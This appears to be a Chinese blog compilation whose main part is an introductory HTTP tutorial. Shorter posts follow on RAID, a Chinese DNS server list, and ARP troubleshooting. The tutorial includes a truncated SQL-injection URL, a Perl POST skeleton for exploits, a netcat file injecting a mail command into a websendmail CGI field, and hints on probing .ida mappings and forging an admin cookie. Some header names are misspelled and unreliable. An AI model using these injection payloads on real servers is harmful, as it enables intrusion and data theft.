Connect-length:文档数据的长度。
WWW-authenricate:通知客户端需要的认证信息。
Connect-encoding :说明有无使用压缩技术。
Transfer-encoding :说明采用的编码变换类型。

随着Internet的发展,下一代的HTTP协议HTTP-ng已经在酝酿之中,它将会提供更好的安全性、更快的速度,其改进要点为:模块化强、网络效率高、安全性更好、结构更简单。

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1759249
 

http 是一个相对简单的协议,它定义了客户(通常通过浏览器)和www服务器之间的会话过程。现在我们来看看这个会话过程的简要说明:客户打开与服务器的套接,使用的端口通常是80。然后它服务器发送请求行,请求标题,最后是请求空行。客户的请求通常是请求文档,它可以是文本文件,图片或者是程序等。服务器接受这个请求,然后查找请求的数据,最后根据查找的结果做出响应。如果上面的过程是一个cgi程序的话,那么服务器将会执行这个程序,并将程序执行的结果输给客户端。所以不明白cgi程序的朋友,可以这样理解cgi程序,它可以用很多的语言来写,只要它能完成一个任务:分析客户请求行中的数据,然后代替服务器做出响应!我们今天要讨论的就是从客户端的角度来理解这个问题,首先来看一个标准的客户请求格式:
请求方法 文挡地址 http/版本
请求标题:数据1
…………….
请求标题:数据N
空白行
在上面的格式中,第一行是必须的,它指明请求的文挡,又称请求头。下面的是请求标题可以多个。最后的空白行表示终止。这里还有一个问题,如果请求方法是POST的话那么空白行后面还可以发送附加数据。这里有一个非常重要的问题就是请求方法。无论对于我们cgi新手还是喜欢web安全的朋友,都是必须的知识
这是一个典型的请求头:
GET /bbs/login.asp HTTP/1.0
其中GET就是一个请求方法。/bbs/login.asp是文挡的地址即URI,它是URL的一部分。HTTP/1.0 是http 协议的版本号。这种方式的请求是建立在已经和服务器的套接建立的基础上的。完整的URL 可以是这样的方式:http://www.target.com/bbs/login.asp 。在http 1.0的协议里定义了三种请求方式:GET,POST,HEAD。http 1.1又补充了一些,如PUT,DELETE,OPTIONS和TRACE。现在也越来越多的服务器支持这些方法。下面我们来介绍一下常用的方法。
GET 这个是浏览器用语向服务器请求最常用的方法。我们在浏览器上发送的URL就是一个GET请求,当然我们也可以用程序,比如netcat,webget等来做。我们有的时候在看到一些黑客高手们在文章中提到的一些请求的例子,可能新手朋友们很难理解,比如:
http://www.target.com/bbsxp165/bbsxp/searc...password)>1)  
这就是一个相当复杂的GET请求,/searchok.asp?是请求这个asp文件,后面就是要传输给这个程序的数据,这个数据是根据网页的交互固定的。服务器接受这个请求后这些数据将被放入环境变量QUERY_STRING中。数据通常是一些数据名/数据值对。没对数据名/数据值之间用&来分开。例子的提交里forumid=()空格里的是一个sql语句,这是由于这里存在sql injection漏洞,当然不在我们讨论的范围。还有GET请求的数据不能超过一个特定的长度,比如2000字节。
POST 这个方法也是用来传送数据的,但是与GET不同的是,使用POST的时候,数据不是附在URI后面传递的,而是要做为独立的行来传递,此时还必须要发送一个Content_length标题,以标明数据长度,随后一个空白行,然后就是实际传送的数据。网页的表单通常是用POST来传送的。这里我们来举两个安全人士常用的提交方式,通常就是黑客们所谓的发现某个网页的或者某个cgi程序的漏洞然后构造一个特殊请求的时候用的:
1,脚本实现
…………
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die “can’t connect to the host\n”;
print $socket "POST /$b HTTP/1.1";
print $socket "Host: $host";
print $socket "Content-Type: text/xml";
print $socket "Content-length: $length";
print $socket "$data";
$socket->recv($rbuf,500);
close($socket);
……….
以上是perl程序POST提交的主体部分,比如一个溢出程序,关键的地方就在于$b(URI)和$data 的构造上!
2, 使用nc来提交
建立一个hack.txt的文件输入下面的内容:
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the
string passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org  
然后用nc来请求
nc www.victim.com 80 <hack.txt
这样就完成了一个post的提交,当然还有很多别的方法可以实现这个提交,这里只是举两个我认为方便的办法。
HEAD 方法和GET的语法是一样的,如果用HEAD方法请求的话,则服务器返回的只是响应标题,而不会返回被请求的文挡,HEAD方法通用于一些搜索引擎中,当然我们的cgi扫描软件很多都是使用这个方式请求的。
以下方法属于http 1.1的标准,我们目前使用的还少,简单的介绍一下定义。
PUT 可以将客户提交的文挡保存在服务器的URI上
DELETE 用于请求服务器删除指定的URI
OPTIONS 可以请求对于指定URI可用的通用选项信息
TRACE请求服务器将附加的文挡无变更的返回,主要用于调试。
提到了请求,自然要讲一下,服务器的响应了,它的标准格式如下
HTTP/版本号 状态码 消息
响应标题:数据1
………….
响应标题:数据N
空白行
客户提交的文挡
看个例子吧:
nc www.victim.com 80
GET /index.html  
HTTP/1.1 400 Bad Request  
Date: Tue, 14 May 2002 07:03:02 GMT  
Server: Apache  
Connection: close  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=iso-8859-1  

127
……………
响应预定义的状态码有很多,通常是服务器默认的设置,是三位数,以1,2,3,4,5开头的
1xx 主要用于调试和实验的目的  
2xx 主要表示请求成功  
3xx 表示请求的uri有多个选择或者已经移动位置了  
4xx 400表示请求行中有语法错误,404表示文挡不存在
5xx 表示服务器内部错误
有的时候可能大家总是忽略了这些东西的做用,事实上有的时候他们的作用还真的不小,比如我们手头没有任何工具,如何知道服务器上是否有ida,printf等映射呢,我们可以这么请求:http://www.victim.com/*.ida 如果出现500 服务器内部错误,我想问题就已经很清楚了。
既然都说这么多的废话了,那么再给大家来点关于URL编码,数据传输的小知识,和cookies的一些介绍吧。
URL编码和数据传输
下面是一个例子:
http://www1.baidu.com/baidu?word=netcat+ex...gb2312&cl=3&f=1
通常我们的浏览器在发送数据的时候要先经过编码,这是一种规范。GET 和POST 都是一样的,当然对于表单你可以用enctype字段来规定其他的编码方式。上面的例子语法,格式是用HEAD请求的。我们看到其中有一些特殊的符号如”%”,这是由于当数据中有非字母或数据的字符时,URL编码会将该字符转化为其ASCII码对应的数字,这样便以一个两位数字的16进制编码来代表字符。在 URL 编码中由百分号指示。 因此,%25 表示百分号本身(25是十六进制的,就是以 16 为基,代表百分号的 ASCII 码值),所有127(7fhex) 以上,和 33 (21hex) 以下的所有字符都会被转义,这包含空格符,空格的转义符为 %20. 加号被解释为空格符。
cookies 内容简介
cookies的作用,这里我就不说了,光是对它语法和格式本身就进介绍,我们先来看一个cookies的例子
aspsky
userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin& usercookies=1
localhost/bbs/
0
3061727232
29562033
2222055456
29561914
*
参考这个例子我们来看看cookies 的 properties 主要包括:
key -->aspsky
value-->userhidden=2&password=469e80d32c0559f8&userid=1&userclass=%B9%DC%C0%ED%D4%B1&usernam e=admin&usercookies=1
damain-->localhost/bbs/
secure-->0 相当于no
expire-->3061727232 29562033 有效时间需要解码才能读出来
modified-->3061727232 29562033 修改时间,解码方式和expire一样
created in ->server
有的时候还有ip address
以上这些介绍只是方便大家对cookies的理解,具体的请参考一些专业的资料。有的时候经常遇到一些朋友问起怎么伪造cookies,我想写到这里已经非常清楚了。
说了这么多,总结一下吧
如果你是一个新手的话,如果你对http协议不是很清楚的话,建议你好好读读一些资料,毕竟这个是我们一天到晚泡网的基础哦,如果你是一个和我一样,喜欢研究网络编程安全的朋友,那么希望我们能一起交流,一起进步。本文只是简单的介绍了一下http方面的一些基础知识,并没有深入的讲述,在一定程 度上说只是给新手朋友们一个概念,但是对于大家理解在网络一些高手的精彩文章,还是相当有用的。

 

http://space.itpub.net/59745/viewspace-611292

RAID资料

RAID是“Redundant Array of Independent Disk”的缩写,中文意思是独立冗余磁盘阵列。冗余磁盘阵列技术诞生于1987年,由美国加州大学伯克利分校提出。简单地解释,就是将N台硬盘通过RAID Controller(分Hardware,Software)结合成虚拟单台大容量的硬盘使用。RAID的采用为存储系统(或者服务器的内置存储)带来巨大利益,其中提高传输速率和提供容错功能是最大的优点。另外,raid还有杀虫剂品牌,法国特警队伍名,游戏专有名词等义项。

http://baike.baidu.com/view/7102.htm

全国DNS列表总汇

省份/城市 DNS 名称 DNS IP ADDRESS
==========================================================
香港 ns1.netvigator.com 205.252.144.228

澳门 vassun2.macau.ctm.net 202.175.3.8

深圳 ns.shenzhen.gd.cn 202.96.134.133
202.96.154.8
202.96.154.15

北京 ns.bta.net.cn 202.96.0.133
ns.spt.net.cn 202.96.199.133
ns.cn.net 202.97.16.195
202.106.0.20
202.106.148.1
202.106.196.115

 

广东 ns.guangzhou.gd.cn 202.96.128.143
dns.guangzhou.gd.cn 202.96.128.68


上海 ns.sta.net.cn 202.96.199.132
202.96.199.133
202.96.209.5
202.96.209.133

浙江 dns.zj.cninfo.net 202.96.102.3
202.96.96.68
202.96.104.18

陕西 ns.snnic.com 202.100.13.11

西安: 202.100.4.15
202.100.0.68

天津 ns.tpt.net.cn 202.99.96.68

辽宁 ns.dcb.ln.cn 202.96.75.68
202.96.75.64
202.96.64.68
202.96.69.38
202.96.86.18
202.96.86.24

江苏 pub.jsinfo.net 202.102.29.3
202.102.13.141
202.102.24.35

安徽:
202.102.192.68
202.102.199.68


四川 ns.sc.cninfo.net 61.139.2.69

重庆 61.128.128.68
61.128.192.4

成都: 202.98.96.68
202.98.96.69

河北 ns.hesjptt.net.cn 202.99.160.68

保定: 202.99.160.68
202.99.166.4

山西 ns.sxyzptt.net.cn 202.99.198.6

吉林 ns.jlccptt.net.cn 202.98.5.68

山东 202.102.152.3
202.102.128.68

福建 dns.fz.fj.cn 202.101.98.55

湖南 202.103.100.206

广西 10.138.128.40
202.103.224.68
202.103.225.68

江西 202.109.129.2
202.101.224.68---j江西电信DNS
202.101.226.68---江西电信DNS
202.101.240.36 ---江西电信DNS

云南 ns.ynkmptt.net.cn 202.98.160.68

河南: 202.102.227.68
202.102.224.68
202.102.245.12

新疆: 61.128.97.73

乌鲁木齐 61.128.97.73
61.128.97.74

武汉: 202.103.24.68
202.103.0.117

厦门两个
202.101.103.55
202.101.103.54

山东的: 202.102.134.68

长沙
202.103.96.68
202.103.96.112

一些教育网内的----不一定好用
202.203.128.33 cernet云南中心主dns
202.203.128.34

210.14.232.241 and 203.93.19.133 罗湖
202.112.10.37 长安
202.115.64.33 and 202.115.64.34 西南交大
202.201.48.1 and 202.201.48.2 nwnu
210.33.116.112 浙江电大
202.116.160.33 华南农业
202.114.240.6 wust
202.194.48.130 ytnc
202.114.0.242 and 202.112.20.131 华中科大
202.202.128.33 and 202.202.128.34 重庆医科大?西安交大?
202.112.0.33 and 202.112.0.34 cernet 华北网
210.38.192.33 韶关

telnet 80

telnet localhost 80

get/GET / HTTP1.1

get/GET / *

 

 

今晚受尽ARP之苦

从6点多,机房那边就有问题.但过了两个钟还是没行.我就等不急了.通过一些好的机器,连上我的Linux,运行tcpdump,一下就找到了IP.然后联系,算是解决了这个.但是之后还是有问题,只是没那么严重了.也没影响那么多的机器了(我的Linux是正常了).但还是有问题.也就协助朋友,也是曾经的同事.一起查.但很奇怪,因为都看不到IP了.都是显示 "arp who-has 0.0.0.0 (Broadcast) tell 0.0.0.0" 这样的.怪了.也难查了.搞了好久,都没查出是哪台机

后在GG搜索,看到下面这个文章  ttp://blog.chinaunix.net/u/11409/showart_55592.html,其中有这一段 "如果机器上使用两块网卡,把一块设置为杂乱模式,并把IP地址设置为0.0.0.0,另一块卡处于正常的模式并是正确的地址,这样将很难发现SNIFFER的存在。",我想,应该就是这个问题了.但机器也比较多,机房那边也就只有一个人,还是难查.而且发现,好像不只一台机.只是发ARP包很少了.实在难搞.也好困了,明天还得上班呢

唉,只是苦了那朋友,搞了一个晚上,到现在还没吃饭.同时,另一个也是以前的同事.而且他还是主要负责这一块的.却早早关了电话,不问不理.也不过去帮帮忙.唉,这世道真是...无语

 

Coyote Linux 的国外资源链接

官方资源: 其它维护开发者资源: 语言工具:
 
Claudio 之站点上之文章以及软件: 其它文章:
 
LCD 专题:(因为很多人在做这个,所以我干脆弄了个专题)

由于 dolly 做之大部分模块都已经集成在较新版本之CL当中或者放在claudio之站点上,所以这里不再重复列出,似乎dolly已经不再为CL开发模块了。不过下面这个还是很不错之。

RRDStats monitoring package:http://dolly.czi.cz/coyote/rrd.asp
相关之 RRDtool 链接:http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/
 
 
CL 德国站点(www.coyotelinux.de)上之资源,Jens R&ouml;siger 维护:
Claudio 之站点 http://www.rictec.com.br/claudio/coyote/ 已经取消了,本贴相关之下载作废。
部分软件可以在 http://www.brazilfw.com.br/forum/ 下载。

Records:912